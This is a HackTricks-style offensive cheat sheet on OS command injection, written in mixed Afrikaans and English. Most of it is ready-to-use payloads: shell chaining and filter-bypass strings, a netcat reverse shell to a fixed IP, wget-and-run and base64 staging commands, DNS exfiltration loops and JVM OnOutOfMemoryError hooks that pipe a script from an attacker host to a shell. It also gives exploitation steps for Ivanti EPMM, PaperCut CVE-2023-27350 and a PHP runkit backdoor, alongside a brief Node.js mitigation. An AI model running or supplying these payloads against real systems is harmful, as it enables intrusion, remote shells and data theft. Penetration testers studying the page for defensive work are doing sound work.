Command Injection
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
What is command Injection?
A command injection maak die uitvoering van willekeurige bedryfstelsel-opdragte moontlik deur ’n aanvaller op die server wat ’n toepassing huisves. Gevolglik kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie opdragte laat die aanvaller gewoonlik toe om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
Context
Afhangend van waar jou invoer ingespuit word mag jy eers die geciteerde konteks moet beëindig (deur " of ' te gebruik) voor die opdragte.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
PHP reël-enjins met runkit geaktiveer
Sommige toepassings implementeer admin-only “reël-enjins” deur uit te voer attacker-supplied PHP. As die omgewing die runkit extension aktiveer, kan ’n attacker funksies herdefinieer of tydens runtime injekteer en ’n logic-only rule editor eskaleer na volledige PHP RCE.
Aanwysers:
- Admin UI aanvaar PHP-like “rules” wat geëvalueer word.
runkit/runkit7is loaded (phpinfo()orextension_loaded('runkit')).
Abuse example (redefine a function used by the rules to execute a command):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
As die reëlinhoud gestoor en later geëvalueer word, word dit ’n permanente RCE-primitief binne die webkonteks.
Beperking Bypasses
As jy probeer om arbitrary commands inside a linux machine uit te voer, sal jy belangstel om meer te lees oor hierdie Bypasses:
Voorbeelde
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash aritmetiese evaluasie in RewriteMap/CGI-style scripts
RewriteMap helpers geskryf in bash druk soms query-params in globale veranderlikes en vergelyk hulle later in aritmetiese kontekste ([[ $a -gt $b ]], $((...)), let). Aritmetiese uitbreiding her-tokeniseer die inhoud, sodat deur-aanvaller-beheerde veranderlikename of reeksverwysings twee keer uitgebrei word en kan kode uitvoer.
Patroon gesien in Ivanti EPMM RewriteMap helpers:
- Params word na globale veranderlikes gemap (
st→gStartTime,h→theValue). - Later kontrole:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Stuur
st=theValuesodatgStartTimena die stringtheValuewys. - Stuur
h=gPath['sleep 5']sodattheValue’n reeksindeks bevat; tydens die aritmetiese kontrole voer ditsleep 5uit (vervang met ’n werklike payload).
Probe (~5s vertraging, dan 404 as kwesbaar):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Aantekeninge:
- Kyk vir dieselfde helper onder ander voorvoegsels (bv.,
/mifs/c/aftstore/fob/). - Arithmetic contexts behandel onbekende tokens as variable/array identifiers, dus omseil dit eenvoudige metacharacter filters.
Parameters
Hier is die top 25 parameters wat vatbaar kan wees vir code injection en soortgelyke RCE-kwesbaarhede (van link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Uittrekking van data: karakter vir karakter
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Gebaseer op die tool van https://github.com/HoLyVieR/dnsbin, ook gehost op dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Aanlyn gereedskap om te kontroleer vir DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filter-omseiling
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Wanneer u JavaScript/TypeScript back-ends oudit, sal u dikwels die Node.js child_process API teëkom.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() skep ’n shell (/bin/sh -c), daarom sal enige karakter wat ’n spesiale betekenis vir die shell het (back-ticks, ;, &&, |, $(), …) lei tot command injection wanneer gebruikersinvoer in die string gekonkateneer word.
Mitigasie: gebruik execFile() (of spawn() sonder die shell opsie) en voorsien elke argument as ’n afsonderlike array-element sodat geen shell betrokke is nie:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world geval: Synology Photos ≤ 1.7.0-0794 was uitbuitbaar deur ’n onverifieerde WebSocket-event wat deur die aanvaller beheerde data in id_user geplaas het, wat later in ’n exec()-oproep ingebed is, wat RCE bereik het (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Nie alle injections vereis shell metacharacters nie. As die toepassing onvertroude stringe as argumente aan ’n stelselhulpmiddel deurgee (selfs met execve/execFile en sonder ’n shell), sal baie programme steeds enige argument wat met - of -- begin as ’n opsie ontleed. Dit laat ’n aanvaller toe om modi om te skakel, uitsetpaaie te verander, of gevaarlike gedrag te aktiveer sonder om ooit ’n shell in te gaan.
Tipiese plekke waar dit voorkom:
- Ingebedde web-UIs/CGI-handlers wat opdragte bou soos
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, ens. - Gekentraliseerde CGI-routere (bv.
/cgi-bin/<something>.cgimet ’n selekteerderparameter soostopicurl=<handler>) waar meerdere handlers dieselfde swak valideerder hergebruik.
Wat om te probeer:
- Verskaf waardes wat met
-/--begin sodat die onderliggende hulpmiddel dit as vlae kan verbruik. - Misbruik vlae wat gedrag verander of lêers skryf, byvoorbeeld:
ping:-f/-c 100000om die toestel te belas (DoS)curl:-o /tmp/xom ewekansige paaie te skryf,-K <url>om deur die aanvaller beheerde konfig te laaitcpdump:-G 1 -W 1 -z /path/script.shom post-rotate uitvoering in onveilige wrappers te bereik
- As die program
--as end-of-options ondersteun, probeer om naïewe mitigasies wat--op die verkeerde plek vooraan sit te omseil.
Generiese PoC-patrone teen gekentraliseerde CGI-dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM diagnostiese terugroepe vir gewaarborgde exec
Enige primitief wat jou toelaat om JVM opdragreëlargumente in te voeg (_JAVA_OPTIONS, launcher-konfigurasielêers, AdditionalJavaArguments fields in desktop agents, etc.) kan in ’n betroubare RCE omskep word sonder om toepassings-bytecode aan te raak:
- Forceer ’n deterministiese crash deur metaspace of heap te verklein:
-XX:MaxMetaspaceSize=16m(of ’n klein-Xmx). Dit waarborg ’nOutOfMemoryErrorselfs tydens vroeë bootstrap. - Heg ’n fout-hook aan:
-XX:OnOutOfMemoryError="<cmd>"of-XX:OnError="<cmd>"voer ’n arbitrêre OS-opdrag uit wanneer die JVM aborteer. - Voeg opsioneel
-XX:+CrashOnOutOfMemoryErrorby om herstelpogings te vermy en die payload eenslags te hou.
Voorbeelde van payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Omdat hierdie diagnostika deur die JVM self geparseer word, is geen shell metacharacters nodig nie en die opdrag hardloop met dieselfde integriteitsvlak as die launcher. Desktop IPC-bugs wat user-supplied JVM flags deurstuur (sien Localhost WebSocket abuse) vertaal dus direk in OS-opdraguitvoering.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Kwetsbare NG/MF-weergawes (bv. 22.0.5 Build 63914) openbaar
/app?service=page/SetupCompleted; deur daardie blad te besoek en op Login te klik, word ’n geldigeJSESSIONIDteruggegee sonder inlogbewyse (authentication bypass in die instellingsproses). - In Options → Config Editor, stel
print-and-device.script.enabled=Yenprint.script.sandboxed=Nom printer-scripting aan te skakel en die sandbox uit te skakel. - In die printer Scripting-oortjie, skakel die script aan en hou
printJobHookgedefinieer om validasiefoute te voorkom, maar plaas die payload buite die funksie sodat dit onmiddellik uitgevoer word wanneer jy op Apply klik (geen drukwerk nodig):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Ruil die callback vir ’n reverse shell; as die UI/PoC nie pipes/redirects kan hanteer nie, stage ’n payload met een opdrag en exec dit met ’n tweede versoek.
- Horizon3’s CVE-2023-27350.py outomatiseer die auth bypass, config flips, command execution, en rollback—voer dit deur ’n upstream proxy uit (bv.,
proxychains→ Squid) wanneer die diens slegs intern bereikbaar is.
Brute-Force Opsporingslys
Verwysings
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


